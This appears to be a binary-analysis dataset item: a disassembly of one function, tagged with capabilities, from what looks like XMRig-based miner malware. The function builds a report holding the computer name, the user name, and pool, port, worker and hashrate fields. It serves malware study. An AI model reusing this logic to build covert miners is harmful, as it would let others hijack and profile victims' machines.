Function at 0x1400d2700
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1510]
mov eax, 0x1610
call fcn.1403706b0
sub rsp, rax
movaps xmmword [rsp + 0x1600], xmm6
movaps xmmword [rsp + 0x15f0], xmm7
mov rax, qword [0x140546618]
xor rax, rsp
mov qword [rbp + 0x14e0], rax
mov r12, rdx
mov r15, rcx
mov qword [rsp + 0x20], rdx
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
xor r13d, r13d
mov word [rbp - 0x22], r13w
movdqa xmmword [rbp - 0x20], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp - 0x10], xmm1
movdqa xmmword [rbp], xmm0
mov qword [rbp + 0x10], r13
mov qword [rbp + 0x18], 0x400
mov dword [rbp + 0x20], r13d
mov qword [rbp + 0x28], r13
lea ecx, [r13 + 0x18]
call fcn.14036fce4
mov qword [rsp + 0x20], rax
mov rcx, rax
call fcn.140024bd0
mov rsi, rax
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rax
lea rdx, [r15 + 0x20]
lea rcx, [rbp + 0x30]
call fcn.1400d3070
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
mov ebx, 3
mov word [rbp - 0x22], bx
mov rdx, qword [r15 + 0x148]
add rdx, 0x358
lea rcx, [rbp - 0x50]
call fcn.140018d70
lea rcx, str.computername
mov qword [rsp + 0x20], rcx
mov dword [rsp + 0x28], 0xc
mov r9, rsi
mov r8, rax
lea rdx, [rsp + 0x20]
lea rcx, [rbp - 0x30]
call fcn.1400dbb70
mov rdx, qword [r15 + 0x148]
add rdx, 0x378
lea rcx, [rbp - 0x50]
call fcn.140018d70
lea rcx, str.username
mov qword [rsp + 0x20], rcx
mov dword [rsp + 0x28], 8
mov r9, rsi
mov r8, rax
lea rdx, [rsp + 0x20]
lea rcx, [rbp - 0x30]
call fcn.1400dbb70
mov rdx, qword [r15 + 0x148]
add rdx, 0x3b8
lea rcx, [rbp - 0x50]
call fcn.140018d70
lea rcx, [0x140501738]
mov qword [rsp + 0x20], rcx
mov dword [rsp + 0x28], ebx
mov r9, rsi
mov r8, rax
lea rdx, [rsp + 0x20]
lea rcx, [rbp - 0x30]
call fcn.1400dbb70
mov rdx, qword [r15 + 0x148]
add rdx, 0x398
lea rcx, [rbp - 0x50]
call fcn.140018d70
lea rcx, [0x1404fb630]
mov qword [rsp + 0x20], rcx
mov dword [rsp + 0x28], ebx
mov r9, rsi
mov r8, rax
lea rdx, [rsp + 0x20]
lea rcx, [rbp - 0x30]
call fcn.1400dbb70
mov rdx, qword [r15 + 0x148]
add rdx, 0x318
lea rcx, [rbp - 0x50]
call fcn.140018d70
lea rcx, str.remoteconfig
mov qword [rsp + 0x20], rcx
mov dword [rsp + 0x28], 0xc
mov r9, rsi
mov r8, rax
lea rdx, [rsp + 0x20]
lea rcx, [rbp - 0x30]
call fcn.1400dbb70
lea rax, str.xmrig
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x28], 5
lea rax, str.type
mov qword [rbp - 0x50], rax
mov dword [rbp - 0x48], 4
mov r9, rsi
lea r8, [rsp + 0x20]
lea rdx, [rbp - 0x50]
lea rcx, [rbp - 0x30]
call fcn.140027260
lea rax, str.status
mov qword [rbp - 0x50], rax
mov dword [rbp - 0x48], 6
mov rax, qword [r15 + 0x148]
mov r9, rsi
mov r8d, dword [rax + 0x440]
lea rdx, [rbp - 0x50]
lea rcx, [rbp - 0x30]
call fcn.1400308f0
mov rdx, qword [r15 + 0x148]
add rdx, 0x3d8
lea rcx, [rsp + 0x20]
call fcn.140018d70
lea rcx, str.uqhash
mov qword [rbp - 0x50], rcx
mov dword [rbp - 0x48], 6
mov r9, rsi
mov r8, rax
lea rdx, [rbp - 0x50]
lea rcx, [rbp - 0x30]
call fcn.1400dbb70
lea rdi, [rbx - 4]
mov rdx, qword [rbp + 0x110]
test rdx, rdx
je 0x1400d2e14
cmp word [rbp + 0x130], r13w
jbe 0x1400d2e14
mov qword [rsp + 0x30], r13
mov qword [rsp + 0x38], 0xf
mov byte [rsp + 0x20], r13b
mov r8, rdi
nop dword [rax + rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x1400d29e0
lea rcx, [rsp + 0x20]
call fcn.140005ff0
lea rax, str.pool
mov qword [rbp - 0x50], rax
mov dword [rbp - 0x48], 4
mov r9, rsi
lea r8, [rsp + 0x20]
lea rdx, [rbp - 0x50]
lea rcx, [rbp - 0x30]
call fcn.1400dbb70
lea rax, str.port
mov qword [rbp - 0x50], rax
mov dword [rbp - 0x48], 4
mov r9, rsi
movzx r8d, word [rbp + 0x130]
lea rdx, [rbp - 0x50]
lea rcx, [rbp - 0x30]
call fcn.14004f5f0
lea rdx, [rbp - 0x50]
lea rcx, [rbp + 0x34]
call fcn.1400147c0
mov r14, rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
mov eax, 0x405
mov word [rsp + 0x2e], ax
mov rcx, qword [rsp + 0x28]
movabs rax, 0xffff000000000000
and rcx, rax
lea rax, str.algo
or rcx, rax
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], 4
movabs rcx, 0xffffffffffff
mov edx, dword [rbp - 0x30]
mov eax, dword [rbp - 0x2c]
cmp edx, eax
jb 0x1400d2abb
test eax, eax
je 0x1400d2ce7
lea ebx, [rax + 1]
shr ebx, 1
add ebx, eax
cmp ebx, eax
ja 0x1400d2cec
mov rcx, qword [rbp - 0x28]
movabs rax, 0xffffffffffff
and rcx, rax
mov eax, edx
shl rax, 5
movups xmm0, xmmword [rsp + 0x20]
movups xmmword [rax + rcx], xmm0
movups xmm0, xmmword [r14]
movups xmmword [rax + rcx + 0x10], xmm0
mov word [r14 + 0xe], r13w
inc dword [rbp - 0x30]
mov qword [rsp + 0x30], r13
mov qword [rsp + 0x38], 0xf
mov byte [rsp + 0x20], 0
mov rdx, qword [rbp + 0xa0]
mov r8, rdi
nop dword [rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x1400d2b10
lea rcx, [rsp + 0x20]
call fcn.140005ff0
lea rax, str.worker
mov qword [rbp - 0x50], rax
mov dword [rbp - 0x48], 6
mov r9, rsi
lea r8, [rsp + 0x20]
lea rdx, [rbp - 0x50]
lea rcx, [rbp - 0x30]
call fcn.1400dbb70
mov rdx, qword [0x140547358]
mov rax, qword [rbp + 0x90]
test rax, rax
cmovne rdx, rax
mov qword [rsp + 0x30], r13
mov qword [rsp + 0x38], 0xf
mov byte [rsp + 0x20], 0
mov r8, rdi
inc r8
cmp byte [rdx + r8], 0
jne 0x1400d2b76
lea rcx, [rsp + 0x20]
call fcn.140005ff0
lea rax, str.password
mov qword [rbp - 0x50], rax
mov dword [rbp - 0x48], 8
mov r9, rsi
lea r8, [rsp + 0x20]
lea rdx, [rbp - 0x50]
lea rcx, [rbp - 0x30]
call fcn.1400dbb70
mov rdx, qword [0x140547368]
mov rax, qword [rbp + 0xb0]
test rax, rax
cmovne rdx, rax
mov qword [rsp + 0x30], r13
mov qword [rsp + 0x38], 0xf
mov byte [rsp + 0x20], 0
mov r8, rdi
nop dword [rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x1400d2be0
lea rcx, [rsp + 0x20]
call fcn.140005ff0
lea rax, str.user
mov qword [rbp - 0x50], rax
mov dword [rbp - 0x48], 4
mov r9, rsi
lea r8, [rsp + 0x20]
lea rdx, [rbp - 0x50]
lea rcx, [rbp - 0x30]
call fcn.1400dbb70
cmp byte [r15 + 0x140], 0
jne 0x1400d2d2c
xorps xmm7, xmm7
mov rax, qword [r15 + 0x148]
mov r14, qword [rax + 0x2b8]
mov rbx, qword [rax + 0x2b0]
cmp rbx, r14
je 0x1400d2c82
mov rcx, qword [rbx]
mov rax, qword [rcx]
call qword [rax + 0x20]
test rax, rax
je 0x1400d2c79
xor edx, edx
mov r8d, 0x2710
mov rcx, rax
call fcn.140070b40
movaps xmm6, xmm0
call fcn.140393df4
cmp ax, 0xffff
je 0x1400d2c75
xorps xmm6, xmm6
addsd xmm7, xmm6
add rbx, 8
cmp rbx, r14
jne 0x1400d2c46
lea rdx, str.hashrate
mov qword [rbp - 0x50], rdx
mov dword [rbp - 0x48], 8
mov r9, rsi
movaps xmm2, xmm7
lea rdx, [rbp - 0x50]
lea rcx, [rbp - 0x30]
call fcn.1400dbd00
mov rcx, qword [r15 + 0x148]
add rcx, 0x448
lea rdx, [0x14045aaf8]
call fcn.140066f50
mov rax, qword [r15 + 0x148]
lea rcx, [rax + 0x448]
xor r9d, r9d
mov r8, qword [rax + 0x458]
lea rdx, [rbp - 0x30]
call fcn.140062e50
jmp 0x1400d2e14
mov ebx, 0x10
mov rdx, qword [rbp - 0x28]
and rdx, rcx
mov r8, rax
mov r9d, ebx
shl r9, 5
shl r8, 5
mov rcx, rsi
call fcn.140024e40
mov rcx, qword [rbp - 0x28]
movabs rdx, 0xffff000000000000
and rcx, rdx
or rcx, rax
mov qword [rbp - 0x28], rcx
mov dword [rbp - 0x2c], ebx
mov edx, dword [rbp - 0x30]
jmp 0x1400d2abf
call fcn.14036d528
mov dword [rbp + 0x14d4], 0xffffffff
mov dword [rbp + 0x154], eax
mov edx, 1
mov r8d, edx
nop dword [rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, r8d
mov dword [rbp + rdx*4 + 0x154], eax
inc r8d
inc rdx
cmp rdx, 0x270
jl 0x1400d2d50
mov dword [rbp + 0x150], 0x270
lea rax, [rbp + 0x150]
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], 0x20
mov dword [rbp - 0x40], 0xffffffff
mov edx, 0xa
lea rcx, [rbp - 0x50]
call fcn.14004fd60
mov ebx, eax
lea rdx, str.hashrate
mov qword [rbp - 0x50], rdx
mov dword [rbp - 0x48], 8
mov rcx, qword [r15 + 0x148]
add rcx, 0x448
xorps xmm2, xmm2
call fcn.140021700
lea ecx, [rbx + 1]
xorps xmm1, xmm1
cvtsi2sd xmm1, rcx
movsd xmm2, qword [0x140504d00]
subsd xmm2, xmm1
movsd xmm4, qword [0x140504d28]
subsd xmm4, xmm2
divsd xmm4, qword [0x140504d28]
mulsd xmm0, xmm4
mov r9, rsi
movaps xmm2, xmm0
lea rdx, [rbp - 0x50]
lea rcx, [rbp - 0x30]
call fcn.1400dbd00
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], r13
mov qword [rsp + 0x60], r13
mov qword [rsp + 0x68], 0x100
mov qword [rsp + 0x58], r13
lea rax, [rsp + 0x40]
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], r13
movdqa xmmword [rbp - 0x80], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp - 0x70], xmm1
mov qword [rbp - 0x60], 0x200
mov dword [rbp - 0x58], 0x144
mov byte [rbp - 0x54], 0
lea rdx, [rsp + 0x70]
lea rcx, [rbp - 0x30]
call fcn.140038fa0
mov rcx, qword [rsp + 0x60]
mov rax, rcx
mov rbx, qword [rsp + 0x58]
sub rax, rbx
cmp rax, 1
jge 0x1400d2f02
mov r8, qword [rsp + 0x50]
test r8, r8
jne 0x1400d2ebd
cmp qword [rsp + 0x40], r8
jne 0x1400d2eb6
lea ecx, [r8 + 1]
call fcn.14036fce4
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rax
mov rbx, qword [rsp + 0x58]
mov r8, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x68]
jmp 0x1400d2eca
sub rcx, r8
lea rax, [rcx + 1]
shr rax, 1
add rcx, rax
sub rbx, r8
lea rsi, [rbx + 1]
cmp rcx, rsi
cmovae rsi, rcx
mov rcx, r8
test rsi, rsi
jne 0x1400d2eea
call fcn.140397d50
mov rax, r13
jmp 0x1400d2ef2
mov rdx, rsi
call fcn.140397fc4
mov qword [rsp + 0x50], rax
add rbx, rax
add rax, rsi
mov qword [rsp + 0x60], rax
lea rax, [rbx + 1]
mov qword [rsp + 0x58], rax
mov byte [rbx], 0
dec qword [rsp + 0x58]
mov qword [r12 + 0x10], r13
mov qword [r12 + 0x18], 0xf
mov byte [r12], 0
mov rdx, qword [rsp + 0x50]
nop dword [rax + rax]
inc rdi
cmp byte [rdx + rdi], 0
jne 0x1400d2f30
mov r8, rdi
mov rcx, r12
call fcn.140005ff0
nop
mov rcx, qword [rbp - 0x78]
call fcn.140397d50
mov edx, 1
mov rcx, qword [rbp - 0x80]
call fcn.14036fd20
nop
mov rcx, qword [rsp + 0x50]
call fcn.140397d50
mov edx, 1
mov rcx, qword [rsp + 0x48]
call fcn.14036fd20
nop
lea rcx, [rbp + 0x30]
call fcn.14002c660
nop
mov rbx, qword [rbp - 0x18]
test rbx, rbx
je 0x1400d3015
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
mov word [rbp - 0x22], r13w
mov rcx, qword [rbx + 0x10]
test rcx, rcx
je 0x1400d3008
mov rax, qword [rcx + 0x10]
cmp rax, 1
jbe 0x1400d2fb6
dec rax
mov qword [rcx + 0x10], rax
jmp 0x1400d3008
mov rax, qword [rcx]
mov rdx, qword [rax + 0x10]
test rdx, rdx
je 0x1400d2fdd
mov qword [rcx], rdx
mov rcx, rax
call fcn.140397d50
mov rcx, qword [rbx + 0x10]
mov rax, qword [rcx]
mov rdx, qword [rax + 0x10]
test rdx, rdx
jne 0x1400d2fc2
mov rax, qword [rbx + 0x10]
mov rcx, qword [rax]
mov qword [rcx + 8], r13
mov rcx, qword [rbx + 0x10]
mov rdi, qword [rcx + 8]
cmp byte [rcx + 0x18], 0
je 0x1400d2ffb
call fcn.140397d50
mov edx, 1
mov rcx, rdi
call fcn.14036fd20
mov edx, 0x18
mov rcx, rbx
call fcn.14036fd20
mov rcx, qword [rbp]
call fcn.140397d50
mov edx, 1
mov rcx, qword [rbp - 8]
call fcn.14036fd20
mov rax, r12
mov rcx, qword [rbp + 0x14e0]
xor rcx, rsp
call fcn.14036fcc0
lea r11, [rsp + 0x1610]
mov rbx, qword [r11 + 0x50]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret